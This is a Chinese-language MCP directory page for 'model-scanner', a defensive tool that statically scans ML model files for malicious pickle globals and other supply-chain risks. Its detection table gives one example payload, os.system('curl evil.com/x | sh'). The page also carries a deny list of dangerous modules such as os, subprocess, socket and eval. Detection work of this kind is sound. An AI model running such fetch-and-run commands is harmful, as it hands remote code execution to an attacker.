mcpField
M
model-scanner

model-scanner

本地服务
github.com/GuardBee安全11 天前更新

关于 model-scanner

model-scanner 是供开发者检查机器学习模型文件供应链风险的 MCP 服务。它检查基于 pickle 的检查点及部分 safetensors、Keras 和 ONNX 结构,且不会执行文件。

主要功能

  1. 01反汇编 pickle 操作码
  2. 02检查危险全局引用
  3. 03扫描 PyTorch ZIP 检查点
  4. 04验证 safetensors 头部
  5. 05检查 Keras 和 ONNX 风险模式
  6. 06导出 SARIF 2.1.0 结果

适用场景

  1. 01审查下载的模型文件
  2. 02在 CI/CD 中扫描模型目录
  3. 03加载前检查模型检查点

MCP 相关

它向 MCP 客户端提供 scan_file、scan_directory 和 list_patterns 工具,用于检查模型文件及风险模式。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"4hmetuyar-model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}
启动命令npx -y @guardbee/mcp-model-scanner

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npm@guardbee/mcp-model-scanner0.1.2

工具

3

收录的工具列表 · 更新于 2 周前

参数类型必填说明
pathstring是模型文件的绝对或相对路径(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx)

详细介绍

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

npm version npm downloads License: MIT

一个 MCP(Model Context Protocol)服务,用于扫描 ML 模型文件中的供应链风险——检查的是文件本身,而不是加载文件的代码。

大多数“AI 安全”工具会检查集成代码或其中传递的提示词。而此软件包检查的是你(或队友,或通过 pip install)从 Hugging Face、注册表或 S3 存储桶下载的制品:.pt/.pth/.pkl 检查点是一个 pickle 文件,反序列化 pickle 不只是数据反序列化——文件加载时即可调用任意 Python 代码(torch.load()、pickle.load() 等)。恶意检查点是真实存在且有充分记录的攻击途径,并非假设情形。

默认情况下,遥测功能关闭。设置 GUARDBEE_TELEMETRY=1 后,它会发送服务、工具、成功状态、耗时和较短的参数值(例如文件路径);较长的字符串以及 content、token 或 password 等字段会替换为占位符。请参阅 @guardbee/mcp-telemetry。

Claude ──► model-scanner ──► Your model files
              │
              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, disassemble
              ├─ .pkl / .pickle / .bin → raw pickle stream, disassemble directly
              ├─ .safetensors         → header structure + disguised-binary check
              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE heuristic
              └─ .onnx                → external_data path-traversal heuristic

为什么 pickle 是核心

Pickle 流是微型栈式虚拟机的字节码。GLOBAL/STACK_GLOBAL 操作码可以指定任意可导入的 Python 对象;紧接着的操作码通常会调用它。没有任何机制能阻止精心构造的 pickle 指定 os.system 或 subprocess.Popen,而不是用于重建张量的函数——pickle.load()/torch.load() 会直接解析并调用它。这正是 picklescan/fickling/Hugging Face 的 Picklescan 集成等工具所采用的技术。

此软件包从头实现了 pickle 操作码反汇编器(支持协议 0–5,包括协议 4+ 使用的较新 STACK_GLOBAL 编码),而不是调用 Python 或使用正则表达式——必须逐字节正确遍历操作码流,才能确定每个 GLOBAL 引用的实际位置;对原始字节使用正则表达式则会不断漏检和误报。

发现的每个 GLOBAL/STACK_GLOBAL/INST 引用都会根据以下规则检查:

  • 拒绝列表:在张量反序列化路径中没有正当理由出现的模块(os、subprocess、socket、builtins.eval、ctypes,……)→ 报告为严重/高危
  • 允许列表:真实 ML 框架实际引用的模块(numpy、torch、sklearn、collections,……)→ 视为安全,不产生告警
  • 其他任何模块 → 报告为中危(“未知”,而非“恶意”——供人工审核,同时降低误报率)

对于 PyTorch 默认的基于 ZIP 的检查点格式,扫描器会直接从磁盘读取 ZIP 中央目录(支持 Zip64),以定位并提取较小的 data.pkl 元数据条目——它绝不会将数 GB 的检查点完整加载到内存中。


功能

  • 真正的 pickle 操作码反汇编 — 不是正则表达式,也不会调用 Python 子进程
  • 31 条危险全局对象规则,涵盖 6 个风险类别(代码执行、进程执行、网络、文件系统、反射、反序列化)
  • 支持 PyTorch zip 容器(包括 Zip64)— 无需加载完整检查点,即可提取并扫描 data.pkl
  • .safetensors 结构验证 — 检查格式错误或越界的标头,并检测伪装成 .safetensors 文件的 pickle/zip
  • Keras .h5/.keras Lambda 层 RCE 启发式检测
  • ONNX external_data 路径遍历启发式检测
  • 全程限制读取量(pickle 前缀 10MB、safetensors 标头上限 100MB、zip 条目上限 50MB)— 可防范解压炸弹,也不会因大型模型文件导致内存溢出
  • SARIF 2.1.0 输出 — 集成 CI/CD(GitHub Code Scanning 等)
  • 通过 guardbee.yml 支持配置文件
  • 45 项单元测试,并针对由真实 CPython pickle 和 zipfile 生成的测试样本进行端到端验证(不仅限于手工构造的样本)

快速开始

Claude Desktop / MCP 客户端
{
  "mcpServers": {
    "guardbee-model-scanner": {
      "command": "npx",
      "args": ["-y", "@guardbee/mcp-model-scanner"]
    }
  }
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

MCP 工具

工具说明
scan_file扫描单个模型文件
scan_directory递归扫描目录中的模型文件
list_patterns按风险类别列出危险全局对象目录

可检测的问题

格式检查项严重性示例
pickle / PyTorch引用 os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands严重os.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__、pickle.loads、marshal.loads严重递归/嵌套载荷,或直接调用 eval
pickle / PyTorchbuiltins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen高数据外泄、SSRF、文件读写
safetensors标头以 pickle/zip 签名开头,而非长度值严重将 .pkl 文件改名为 .safetensors
safetensors张量的 data_offsets 超出实际数据区高解析器读取越界
safetensors标头长度无效或过大、标头不是 JSON 格式高标头损坏或经恶意构造
Keras .h5/.keras模型配置中存在 class_name: "Lambda"严重加载时发生编组函数 RCE
ONNXexternal_data 的 location 含有 ..高路径遍历至任意文件

完整的危险全局对象目录:运行 list_patterns 工具,或查看 src/dangerousGlobals.ts。

这些是启发式检测结果,经过调优以降低误报率 — 尤其是 HDF5 和 ONNX,它们是复杂的二进制/protobuf 格式,采用有界文本模式搜索,而非完整结构解析。仍应逐项审查所有检测结果;扫描未发现问题并不构成正式的安全性证明。


配置(guardbee.yml)

model-scanner:
  fail-on: high       # any | critical | high | medium | low | none
  max-files: 2000
  exclude:
    - "fixtures/"

限制(设计如此)

  • 对原始(非 zip)pickle 流仅扫描前 10MB — pickle 流中的危险全局对象必须先于其实例被引用,因此与将大型旧版检查点完整加载到内存相比,这一限制是合理的折中。
  • ZIP 提取仅支持 STORED 和 DEFLATE(涵盖 PyTorch 默认检查点格式)。
  • HDF5/ONNX 检查基于有界前缀进行模式匹配,不会完整解析结构/protobuf。
  • 扫描对象是文件,而非运行时行为 — 不会执行或沙箱化任何内容。

开发

npm run build
npm test             # 45 unit tests

许可证

MIT — GuardBee

反馈

有问题、想法或遇到误报?请在 GitHub 讨论区中发起讨论,或提交问题。如果 GuardBee 对你有帮助,可以在代码仓库点个 ⭐,帮助其他人找到它。

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。